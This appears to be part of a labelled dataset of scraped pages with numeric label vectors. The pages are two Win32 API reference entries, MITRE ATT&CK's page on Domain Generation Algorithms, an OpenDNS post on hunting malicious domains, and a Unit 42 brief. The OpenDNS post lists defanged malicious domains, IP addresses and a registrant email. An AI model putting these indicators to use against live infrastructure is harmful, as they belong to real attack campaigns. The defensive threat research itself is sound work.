Site Feedback Trademarks","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"SetWindowLongA function (winuser.h) | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents SetWindowLongA function 12/05/2018 3 minutes to read In this article Changes an attribute of the specified window. The function also sets the 32-bit (long) value at the specified offset into the extra window memory. Note\xc2 \xc2 This function has been superseded by the SetWindowLongPtr function. To write code that is compatible with both 32-bit and 64-bit versions of Windows, use the SetWindowLongPtr function. \xc2 Syntax LONG SetWindowLongA( HWND hWnd, int nIndex, LONG dwNewLong ); Parameters hWnd Type: HWND A handle to the window and, indirectly, the class to which the window belongs. nIndex Type: int The zero-based offset to the value to be set. Valid values are in the range zero through the number of bytes of extra window memory, minus the size of an integer. To set any other value, specify one of the following values. Value Meaning GWL_EXSTYLE -20 Sets a new extended window style. GWL_HINSTANCE -6 Sets a new application instance handle. GWL_ID -12 Sets a new identifier of the child window. The window cannot be a top-level window. GWL_STYLE -16 Sets a new window style. GWL_USERDATA -21 Sets the user data associated with the window. This data is intended for use by the application that created the window. Its value is initially zero. GWL_WNDPROC -4 Sets a new address for the window procedure. You cannot change this attribute if the window does not belong to the same process as the calling thread. \xc2 The following values are also available when the hWnd parameter identifies a dialog box. Value Meaning DWL_DLGPROC DWLP_MSGRESULT + sizeof(LRESULT) Sets the new address of the dialog box procedure. DWL_MSGRESULT 0 Sets the return value of a message processed in the dialog box procedure. DWL_USER DWLP_DLGPROC + sizeof(DLGPROC) Sets new extra information that is private to the application, such as handles or pointers. dwNewLong Type: LONG The replacement value. Return Value Type: Type: LONG If the function succeeds, the return value is the previous value of the specified 32-bit integer. If the function fails, the return value is zero. To get extended error information, call GetLastError. If the previous value of the specified 32-bit integer is zero, and the function succeeds, the return value is zero, but the function does not clear the last error information. This makes it difficult to determine success or failure. To deal with this, you should clear the last error information by calling SetLastError with 0 before calling SetWindowLong. Then, function failure will be indicated by a return value of zero and a GetLastError result that is nonzero. Remarks Certain window data is cached, so changes you make using SetWindowLong will not take effect until you call the SetWindowPos function. Specifically, if you change any of the frame styles, you must call SetWindowPos with the SWP_FRAMECHANGED flag for the cache to be updated properly. If you use SetWindowLong with the GWL_WNDPROC index to replace the window procedure, the window procedure must conform to the guidelines specified in the description of the WindowProc callback function. If you use SetWindowLong with the DWL_MSGRESULT index to set the return value for a message processed by a dialog procedure, you should return TRUE directly afterward. Otherwise, if you call any function that results in your dialog procedure receiving a window message, the nested window message could overwrite the return value you set using DWL_MSGRESULT. Calling SetWindowLong with the GWL_WNDPROC index creates a subclass of the window class used to create the window. An application can subclass a system class, but should not subclass a window class created by another process. The SetWindowLong function creates the window subclass by changing the window procedure associated with a particular window class, causing the system to call the new window procedure instead of the previous one. An application must pass any messages not processed by the new window procedure to the previous window procedure by calling CallWindowProc. This allows the application to create a chain of window procedures. Reserve extra window memory by specifying a nonzero value in the cbWndExtra member of the WNDCLASSEX structure used with the RegisterClassEx function. You must not call SetWindowLong with the GWL_HWNDPARENT index to change the parent of a child window. Instead, use the SetParent function. If the window has a class style of CS_CLASSDC or CS_OWNDC, do not set the extended window styles WS_EX_COMPOSITED or WS_EX_LAYERED. Calling SetWindowLong to set the style on a progressbar will reset its position. Examples For an example, see Subclassing a Window. Requirements \xc2 \xc2 Minimum supported client Windows\xc2 2000 Professional [desktop apps only] Minimum supported server Windows\xc2 2000 Server [desktop apps only] Target Platform Windows Header winuser.h (include Windows.h) Library User32.lib DLL User32.dll See Also CallWindowProc Conceptual GetWindowLong Reference RegisterClassEx SetParent SetWindowLongPtr WNDCLASSEX Window Classes WindowProc Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"SendNotifyMessageA function (winuser.h) | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents SendNotifyMessageA function 12/05/2018 2 minutes to read In this article Sends the specified message to a window or windows. If the window was created by the calling thread, SendNotifyMessage calls the window procedure for the window and does not return until the window procedure has processed the message. If the window was created by a different thread, SendNotifyMessage passes the message to the window procedure and returns immediately; it does not wait for the window procedure to finish processing the message. Syntax BOOL SendNotifyMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam ); Parameters hWnd Type: HWND A handle to the window whose window procedure will receive the message. If this parameter is HWND_BROADCAST ((HWND)0xffff), the message is sent to all top-level windows in the system, including disabled or invisible unowned windows, overlapped windows, and pop-up windows; but the message is not sent to child windows. Msg Type: UINT The message to be sent. For lists of the system-provided messages, see System-Defined Messages. wParam Type: WPARAM Additional message-specific information. lParam Type: LPARAM Additional message-specific information. Return Value Type: Type: BOOL If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error information, call GetLastError. Remarks If you send a message in the range below WM_USER to the asynchronous message functions (PostMessage, SendNotifyMessage, and SendMessageCallback), its message parameters cannot include pointers. Otherwise, the operation will fail. The functions will return before the receiving thread has had a chance to process the message and the sender will free the memory before it is used. Applications that need to communicate using HWND_BROADCAST should use the RegisterWindowMessage function to obtain a unique message for inter-application communication. The system only does marshalling for system messages (those in the range 0 to (WM_USER-1)). To send other messages (those >= WM_USER) to another process, you must do custom marshalling. Requirements \xc2 \xc2 Minimum supported client Windows\xc2 2000 Professional [desktop apps only] Minimum supported server Windows\xc2 2000 Server [desktop apps only] Target Platform Windows Header winuser.h (include Windows.h) Library User32.lib DLL User32.dll See Also Conceptual Messages and Message Queues PostMessage PostThreadMessage Reference RegisterWindowMessage SendMessage SendMessageCallback SendNotifyMessage Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Domain Generation Algorithms - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Domain Generation Algorithms Domain Generation Algorithms Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.[1][2][3] DGAs can take the form of apparently random or ""gibberish"" strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.[1][2][4][5] Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.[4][6][7] ID:\xc2 T1483 Tactic: Command And Control Platform:\xc2 Linux, macOS, Windows Permissions Required:\xc2 User Data Sources:\xc2 Process use of network, Packet capture, Network device logs, Netflow/Enclave netflow, DNS records Contributors:\xc2 Sylvain Gil, Exabeam; Barry Shteiman, Exabeam; Ryan Benson, Exabeam Version:\xc2 1.0 Mitigations Mitigation Description Network Intrusion Prevention Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Malware researchers can reverse engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort. Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic. Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. [1] [8] [5] Restrict Web-Based Content In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost. Examples Name Description BONDUPDATER BONDUPDATER uses a DGA to communicate with command and control servers. [9] CCBkdr CCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost. [4] CHOPSTICK CHOPSTICK can use a DGA for Fallback Channels, domains are generated by concatenating words from lists. [7] Ebury Ebury has used a DGA to generate a domain name for C2. [10] POSHSPY POSHSPY uses a DGA to derive command and control URLs from a word list. [6] Ursnif Ursnif has used a DGA to generate domain names for C2. [11] Detection Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.[12] CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.[13] Another approach is to use deep learning to classify domains as DGA-generated.[14] References Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019. Scarfo, A. (2016, October 10). Domain Generation Algorithms \xe2\x80\x93 Why so effective?. Retrieved February 18, 2019. Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019. Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018. Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019. Dunwoody, M.. (2017, April 3). Dissecting One of APT29\xe2\x80\x99s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017. ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019. Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019. Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. M.L\xc3\xa9veill\xc3\xa9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019. Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019. Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019. Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019. Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Domain Generation Algorithms - Why so effective? - OpenDNS Umbrella Blog Blog All Research Engineering Product Big Data Global Network Security Graph Community and Partners About Search Back to Umbrella.cisco.com Domain Generation Algorithms \xe2\x80\x93 Why so effective? By Andrea Scarfo October 10, 2016 Domain Generation Algorithms \xe2\x80\x93 Why so effective? Domain Generation Algorithms(DGAs) are used in malware to generate a large number of domain names that can be used in communications to the malware\xe2\x80\x99s command and control servers.\xc2 One reason that DGAs are used is because a predefined list of domains that will be used as Command & Control (C&C) servers can be easily discovered in the binaries of malware.\xc2 An algorithm needs to be reverse engineered. Some DGAs can be completely thwarted through reverse engineering, and every possible domain name can be known and then blocked through security layers. The majority of the domain names generated by DGAs do not resolve (NXdomains) and are never registered with any hosting company by the malware author. They will however, create noise in network logs and annoy Analysts attempting to find active C&C domains. Although these requests to the NXdomains do not resolve, at OpenDNS, we still see the attempted request in our DNS query logs. Recently, I have found that analyzing these sessions of DGA requests in our logs has proven effective at surfacing other types of malicious domains that are queried in the event. Why so effective? While malware authors have found DGAs to be an effective way of hiding C&C traffic, what I\xe2\x80\x99ll be talking about is how they\xe2\x80\x99re effective in surfacing other related malicious infrastructure. This surfaces domains that become guilty by hanging out with the wrong crowd. If I can see that there is already some shady DGA business going on, and said domain does not match the known DGA pattern, but appears in the session, it\xe2\x80\x99s worth examining. After singling out a session of DNS requests with many consecutive sudden requests to NXdomains, you will also find some resolving DGA domains. They typically only resolve for a short period of time. Amongst these resolving domains is where it becomes interesting, and becomes an effective place for hunting. Examining these domains will also give you further insight into how specific malware functions. In an identified session of Necurs DGA callouts, we can identify the first DGA round beginning with a callout to top level \xe2\x80\x98com\xe2\x80\x99 domains that are unpredictable, and used by the malware to detect simulated network traffic in order to evade analysis. [1] The 2nd and 3rd round of DGA callouts will then begin if not thought to be running in a lab environment. We find the majority of the 2nd and 3rd round DGAs to be sinkholed. uqhucsontf[.]com myypqmvzkgnrf[.]com ocufxskoiegqvv[.]com uflhdvsnjmfgcp[.]so otopshphtnhml[.]net aiygrmsryphqlkfcld[.]su etfxkiqtriteysf[.]pw crigtwrdtxbcmsgjkmx[.]tv cjyioboxmxhsmrclrhxxl[.]im soqikjyliunjqaciqlg[.]tj jrguloma[.]biz anlxccqeqflidpwyhobm[.]ir Surfacing malicious infrastructure On Oct 3rd, an interesting domain stood out amongst this DGA session; xic[.]graphics. oumulcchlccvhsb[.]la wolnltrixnidaaqaqty[.]tw awwxmmbhkpedjnycrh[.]eu kaxtnqdkxigrg[.]cx gwhhpnrfkdiedhga[.]ki sxurcsgyrnob[.]tw pmir.3g.qq1[.]com xic[.]graphics Around this date, messages were received by users on Facebook containing a link to xic[.]graphics. Reportedly, this site was installing a malicious browser extension once a user clicked an image to view a \xe2\x80\x9cvideo\xe2\x80\x9d contained in the message. \xc2 [2],[3] After looking at the email registrant of xic[.]graphics, we found that this account had registered numerous other domains that were being used in the same type of campaigns: lololokokokovovovo[.]com, futunga[.]com, todayonlynews[.]com, utopgames[.]com . lololokokokovovovo[.]com had a similar spike in traffic during this period as xic[.]graphics and shared the same html source code while it was live. We are currently blocking all domains registered by this email registrant; mhungetuoy@gmail[.]com. The IP address, 51.254.198[.]136 that some of these domains resolve to reveals more infrastructure belonging to the attackers. The domains seem to be involved in similar attacks and were all full of jumbled words, with Facebook image links in the source. As of this posting, some of the domains seem to be moving IPs and are now resolving to 178.32.125[.]10. The nameservers of ns1.futunga[.]com, ns2.futunga[.]com are still in use. Resolving to 178.32.125[.]10, utopgames[.]com is still hosting the same type of images used in the Facebook message campaigns of xic[.]graphics. It also has similar source code. image from utopgames[.]com image from utopgames[.]com We found some \xe2\x80\x9ctesting\xe2\x80\x9d being done with JS files on various \xe2\x80\x98pw\xe2\x80\x99 TLD domains hosted on these IP addresses. The samples simply contained the word \xe2\x80\x9cTEST\xe2\x80\x9d. However, coming from this infrastructure, it is suspicious. URLs linking to JS files on PW domain Traffic spike on PW domain When sampling a portion of our DGA sessions to see which TLD\xe2\x80\x99s are seen most often, the TLD \xe2\x80\x98pw\xe2\x80\x99 ranked at 0.961 (1 being the highest possible ranking.) The following \xe2\x80\x98pw\xe2\x80\x99 domains were seen resolving to the IP addresses mentioned and host similar URLs to JS files. budaner[.]pw facimago[.]pw fokelyio[.]pw kalaner[.]pw kamirop[.]pw lakonaci[.]pw lokelys[.]pw momeros[.]pw sokciso[.]pw sonbkos[.]pw sonmerahpaga[.]pw tekcise[.]pw tokciko[.]pw vslaner[.]pw This post is categorized in: Labs Research Security Research WHOIS Cisco Umbrella \xc2\xa9 2019 Contact Us Privacy Policy","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Threat Brief: Understanding Domain Generation Algorithms (DGA) Menu Tools Playbooks Speaking Events About Us Threat Brief: Understanding Domain Generation Algorithms (DGA) 17,809 people reacted 3 3 min. read Share By Unit 42 February 7, 2019 at 12:00 PM Category: Threat Brief Tags: DGA, Domain Generation Algorithms, malware, threat brief Intro One of the most important \xe2\x80\x9cinnovations\xe2\x80\x9d in malware in the past decade is what\xe2\x80\x99s called a Domain Generation Algorithm (\xe2\x80\x9cDGA\xe2\x80\x9d)\xe2\x80\x9d. DGA is an automation technique that attackers use to make it harder for defenders to protect against attacks. While DGA has been in use for over 10 years now, it\xe2\x80\x99s still a potent technique that has been a particular challenge for defenders to counter. Fortunately, there are emerging technologies now that can better counter DGAs. What is it? A Domain Generation Algorithm is a program that is designed to generate domain names in a particular fashion. Attackers developed DGAs so that malware can quickly generate a list of domains that it can use for the sites that give it instructions and receive information from the malware (usually referred to as \xe2\x80\x9ccommand and control\xe2\x80\x9d or C2). Attackers use DGA so that they can quickly switch the domains that they\xe2\x80\x99re using for the malware attacks. Attackers do this because security software and vendors act quickly to block and take down malicious domains that malware uses. Attackers developed DGA specifically to counter these actions. In the past, attackers would maintain a static list of malicious domains; defenders could easily take that list and start blocking and taking down those sites. By using an algorithm to build the list of domains, the attackers also make it harder for defenders to know or predict what domains will be used than if they had a simple list of domains. To get that list of domains that the malware will use, defenders have to decode the algorithm which can be difficult. Even then, taking down sites that malware using a DGA can be a challenge as defenders have to go through the process of working with ISPs to take down these malicious domains one by one. Many DGAs are built to use hundreds or even thousands of domains. And these domains are often up for only limited periods of time. In this environment blocking and taking down DGA-related domains quickly becomes a game of \xe2\x80\x9cwhack a mole\xe2\x80\x9d that is sometimes futile. Why should I care, what can it do to me? DGA by itself can\xe2\x80\x99t harm you. But it is an important piece that enables modern malware to try and evade security products and countermeasures. The importance and usefulness of DGA is best shown by the fact that it\xe2\x80\x99s been in regular and constant use since at least 2008. DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success. What can I do about it? Because DGA is a technique the fuels malware attacks, the things you can do to help prevent malware can also help prevent DGA-fueled malware attacks: Don\xe2\x80\x99t open attachments that are unexpected or from unknown sources. Don\xe2\x80\x99t enable macros on attached documents without confirming that you can do so safely from the sender and your IT department. Run security software that can help prevent malware attacks. In addition, new technologies are being developed that can more directly counter DGA-fueled attacks, particularly for organizations. In particular, security vendors are bringing automation to bear to counter the attackers\xe2\x80\x99 automation. New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA\xe2\x80\x99s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place. You can also learn more about these new technologies and look at deploying them as an additional layer of protection. About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives. They\xe2\x80\x99re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life. Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com. Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights 